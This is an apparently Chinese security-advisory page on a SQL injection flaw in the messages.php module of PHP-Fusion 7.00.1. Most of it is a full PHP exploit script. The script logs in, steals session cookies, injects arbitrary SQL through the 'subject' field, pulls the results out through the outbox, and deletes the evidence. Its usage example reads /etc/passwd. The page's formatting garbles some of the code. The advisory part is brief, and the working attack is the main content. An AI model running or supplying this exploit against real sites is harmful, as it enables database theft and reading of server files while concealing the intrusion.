PHP-Fusion messages.php模块SQL注入漏洞


添加时间:
2008-12-09

系统编号:
WAVDB-01286
BUGTRAQ: 32388

影响版本:
PHP-Fusion 7.00.1

程序介绍:

PHP-Fusion是一款基于PHP的内容管理系统。

漏洞分析:

当send_message设置为Send的时候,PHP-Fusion的messages.php文件中没有正确地验证对subject参数的输入便在SQL查询中使用,这允许远程攻击者通过提交恶意请求执行SQL注入攻击。

漏洞利用:

 
  1. <?php  
  2. /*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 
  3. PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit 
  4. requires magic_quotes == off 
  5.  
  6. coded by irk4z[at]yahoo.pl 
  7. homepage: http://irk4z.wordpress.com 
  8.  
  9. greets: all friends ;) 
  10. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*/  
  11.   
  12. $host = $argv[1];  
  13. $path = $argv[2];  
  14. $login = $argv[3];  
  15. $pass = $argv[4];  
  16. $sql_injection = $argv[5];  
  17.   
  18. echo  
  19. "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n".  
  20. " PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit\n".  
  21. " requires magic_quotes == off\n".  
  22. "\n".  
  23. " coded by irk4z[at]yahoo.pl\n".  
  24. " homepage: http://irk4z.wordpress.com\n".  
  25. "\n".  
  26. " greets: all friends ;)\n".  
  27. "*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n";  
  28.   
  29. if(emptyempty($host) || emptyempty($path) || emptyempty($login) || emptyempty($pass) || emptyempty($sql_injection) ){  
  30.     echo "Usage: php $argv[0] <host> <path> <login> <pass> <SQL>\n" .  
  31.          "       php $argv[0] localhost /php-fusion/ user s3cret \"SELECT database()\"\n".  
  32.          "       php $argv[0] localhost / user s3cret \"SELECT load_file(0x2F6574632F706173737764)\"\n\n";  
  33.     die;  
  34. }  
  35.   
  36. echo "Logging into system...";  
  37. //login to php-fusion using login and pass  
  38. $login_data = send($hostarray(    "path" => $path."news.php",  
  39.                     "post" => array(  
  40.                             "user_name" => $login,  
  41.                             "user_pass" => $pass,  
  42.                             "login" => "Login"  
  43.                             )  
  44.                 )  
  45.             );  
  46.   
  47. //get cookies  
  48. preg_match_all("/Set-Cookie:[\s]+([a-z_A-Z0-9]+=[a-z_A-Z0-9\.]+;)/"$login_data$matches);  
  49. $cookies = implode(' '$matches[1]);  
  50.   
  51. //get user id  
  52. preg_match_all("/([0-9])+.([a-zA-Z0-9]{32})/"$cookies$matches);  
  53. $my_id = $matches[1][0];  
  54.   
  55. if(emptyempty($my_id)){  
  56.     echo "\n[x] Incorrect login or password..";  
  57.     die;  
  58. else {  
  59.     echo "[ok]\n";  
  60. }  
  61.   
  62. $id_message = uniqid();  
  63. $inhex = '';  
  64. for($i = 0; $i < strlen($id_message); $i++) $inhex .= dechex( ord($id_message[$i]) ) ;  
  65.   
  66. echo "Running sql-injection...\n";  
  67. //running sql-injection  
  68. $res = send($hostarray(    "path" => $path."messages.php?msg_send={$my_id}%27%2F%2Axxx&",  
  69.                 "cookie" => $cookies,  
  70.                 "post" => array(  
  71.                         "send_message" => 'X',  
  72.                         "subject" => "X*/,0x{$inhex},                                (SELECT/**/concat(0x{$inhex}{$inhex},hex(($sql_injection)),0x{$inhex}{$inhex})),0x79,1,1226787120,1)/*",  
  73.                         "message" => "XXX"  
  74.                         )  
  75.             )  
  76.         );  
  77.   
  78. echo "Getting data...\n\n";  
  79. $res = send($hostarray(    "path" => $path."messages.php?folder=outbox",  
  80.                 "cookie" => $cookies )  
  81.             );  
  82.   
  83. preg_match_all("/msg_read=([0-9]+)'>{$id_message}<\/a>/"$res$matches);  
  84. $id_message_number = $matches[1][0];  
  85.   
  86. $res = send($hostarray(    "path" => $path."messages.php?folder=outbox&msg_read=".$id_message_number,  
  87.                 "cookie" => $cookies )  
  88.         );  
  89.   
  90. preg_match_all("/{$id_message}{$id_message}(.*){$id_message}{$id_message}/"$res$matches);  
  91.   
  92. ifemptyempty($matches[1][0]) ){  
  93.     echo "[x] Failed... maybe SQL-INJ is incorrect?\n\n";  
  94. else {  
  95.     $tmp = '';  
  96.     $hex = $matches[1][0];  
  97.     //unhex it!  
  98.     for($i = 0; $i < strlen($hex); $i+=2) $tmp .= chr(hexdec($hex[$i] . $hex[$i+1]));  
  99.     echo "DATA: \n".$tmp."\n\n";  
  100. }  
  101.   
  102. echo "Deleting message...\n";  
  103.   
  104. $res = send($hostarray(    "path" => $path."messages.php?folder=outbox&msg_id=".$id_message_number,  
  105.                 "cookie" => $cookies,  
  106.                 "post" => array (  
  107.                         "delete" => "Delete"  
  108.                         )  
  109.             )  
  110.         );  
  111.   
  112. //send http packet  
  113. function send($host$dane = "") {  
  114.     $packet = (emptyempty($dane['post']) ? "GET" : "POST") . " {$dane["path"]} HTTP/1.1\r\n";  
  115.     $packet .= "Host: {$host}\r\n";  
  116.       
  117.     if( !emptyempty($dane['cookie']) ){  
  118.         $packet .= "Cookie: {$dane['cookie']}\r\n";  
  119.     }  
  120.       
  121.     if( !emptyempty($dane['post']) ){  
  122.         $reszta_syfu = "";  
  123.         foreach($dane['post'as $tmp => $tmp2){  
  124.             $reszta_syfu .= $tmp . "=" . $tmp2 . "&";  
  125.         }  
  126.         $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
  127.         $packet .= "Connection: Close\r\n";  
  128.         $packet .= "Content-Length: ".strlen($reszta_syfu)."\r\n\r\n";  
  129.         $packet .= $reszta_syfu;  
  130.     } else {  
  131.         $packet .= "Connection: Close\r\n\r\n";  
  132.     }  
  133.   
  134.     $o = @fsockopen($host, 80);  
  135.     if(!$o){  
  136.         echo "\n[x] No response...\n";  
  137.         die;  
  138.     }  
  139.     fputs($o$packet);  
  140.     while (!feof($o)) $ret .= fread($o, 1024);  
  141.     fclose($o);  
  142.     return ($ret);  
  143. }  
  144.   
  145. ?>  

 



解决方案:
厂商补丁:
PHP-Fusion
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://sourceforge.net/projects/php-fusion/

信息来源:
<*来源:irk4z (irk4z@yahoo.pl)
链接:http://secunia.com/advisories/32781/
*>